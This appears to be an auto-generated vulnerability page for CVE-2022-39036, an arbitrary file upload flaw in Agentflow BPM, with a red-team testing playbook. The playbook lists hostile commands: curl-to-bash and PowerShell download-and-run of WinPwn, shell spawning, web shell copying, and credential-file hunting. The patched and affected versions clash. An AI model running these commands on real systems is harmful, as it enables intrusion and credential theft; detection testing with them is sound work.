CVE-2022-39036
Overview
This vulnerability is classified as an arbitrary file upload due to insufficient input validation in the file upload functionality of Agentflow BPM. The root cause lies in inadequate filtering of special characters within URLs used during file uploads, allowing malicious payloads to bypass security checks. The affected component is the file upload mechanism in Flowring Agentflow BPM version 4.0.0.1183.552.
Vulnerability Description
The file upload function of Agentflow BPM has insufficient filtering for special characters in URLs. An unauthenticated remote attacker can exploit this vulnerability to upload arbitrary file and execute arbitrary code to manipulate system or disrupt service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to upload and execute arbitrary code, potentially gaining control over the affected system or disrupting its services. The attack requires no user interaction or prior authentication (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling remote exploitation over the network. Consequences include full system compromise, data manipulation, or denial of service, severely impacting business operations relying on the Agentflow BPM platform.
Solution
Flowring has released security updates addressing this vulnerability in Agentflow BPM version 4.0.0.1183.552 and later. Users should apply the patch as detailed in the official vendor advisory published on September 19, 2022 (https://www.flowring.com/2022/09/19/%e7%94%a2%e5%93%81%e6%9b%b4%e6%96%b0agentflow-v4-0%e3%80%81v3-7%e5%a4%be%e6%aa%94%e5%8a%9f%e8%83%bd%e8%b3%87%e5%ae%89%e4%bf%ae%e6%ad%a3/). No alternative workarounds have been specified; immediate patching is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the file upload function of Agentflow BPM arises from inadequate filtering mechanisms for special characters in URLs. This oversight allows an unauthenticated remote attacker to craft malicious requests that exploit the file upload feature. When the application fails to properly sanitize input, it can inadvertently accept and process harmful files, which may include scripts or executables. This lack of validation creates a pathway for attackers to upload arbitrary files to the server, potentially leading to unauthorized code execution. The implications of this flaw are significant, as it undermines the integrity and security of the entire system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering techniques to trick a user into interacting with a compromised link, or they could directly target the file upload endpoint with crafted requests. Once the malicious file is uploaded, the attacker can execute arbitrary code on the server, which may allow them to manipulate system functions, access sensitive data, or disrupt services. Scenarios may range from simple denial-of-service attacks to more sophisticated intrusions that compromise the entire application environment, leading to further exploitation of connected systems.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Agentflow BPM for business operations. The potential for unauthorized access and data manipulation poses a significant business risk, including financial loss, reputational damage, and legal ramifications due to non-compliance with data protection regulations. Organizations could face operational disruptions, loss of customer trust, and the costs associated with incident response and recovery efforts. Furthermore, if sensitive data is compromised, the fallout could extend to regulatory fines and long-term damage to brand integrity.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, rigorous input validation should be enforced to ensure that only safe and expected file types are accepted through the upload function. Employing a web application firewall (WAF) can help filter out malicious requests before they reach the application layer. Regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate vulnerabilities proactively. Additionally, organizations should maintain up-to-date software versions and apply security patches promptly to mitigate the risk of exploitation.
In conclusion, the vulnerability in the file upload function of Agentflow BPM represents a critical security concern that necessitates immediate attention. The potential for exploitation underscores the importance of robust input validation and proactive security measures. Organizations must remain vigilant and adopt comprehensive strategies to safeguard their systems against such vulnerabilities, ensuring the protection of their assets and the trust of their stakeholders. By prioritizing security best practices, businesses can mitigate risks and enhance their resilience against evolving cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Flowring | Agentflow | 4.0.0.1183.552 |
cpe:2.3:a:flowring:agentflow:4.0.0.1183.552:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-39036 |
| twcert.org.tw |
GitHub CVE
|
https://www.twcert.org.tw/tw/cp-132-6682-21207-1.html |
| flowring.com |
GitHub CVE
|
https://www.flowring.com/2022/09/19/%e7%94%a2%e5%93%81%e6%9b%b4%e6%96%b0agentflow-v4-0%e3%80%81v3-7%e5%a4%be%e6%aa%94%e5%8a%9f%e8%83%bd%e8%b3%87%e5%ae%89%e4%bf%ae%e6%ad%a3/ |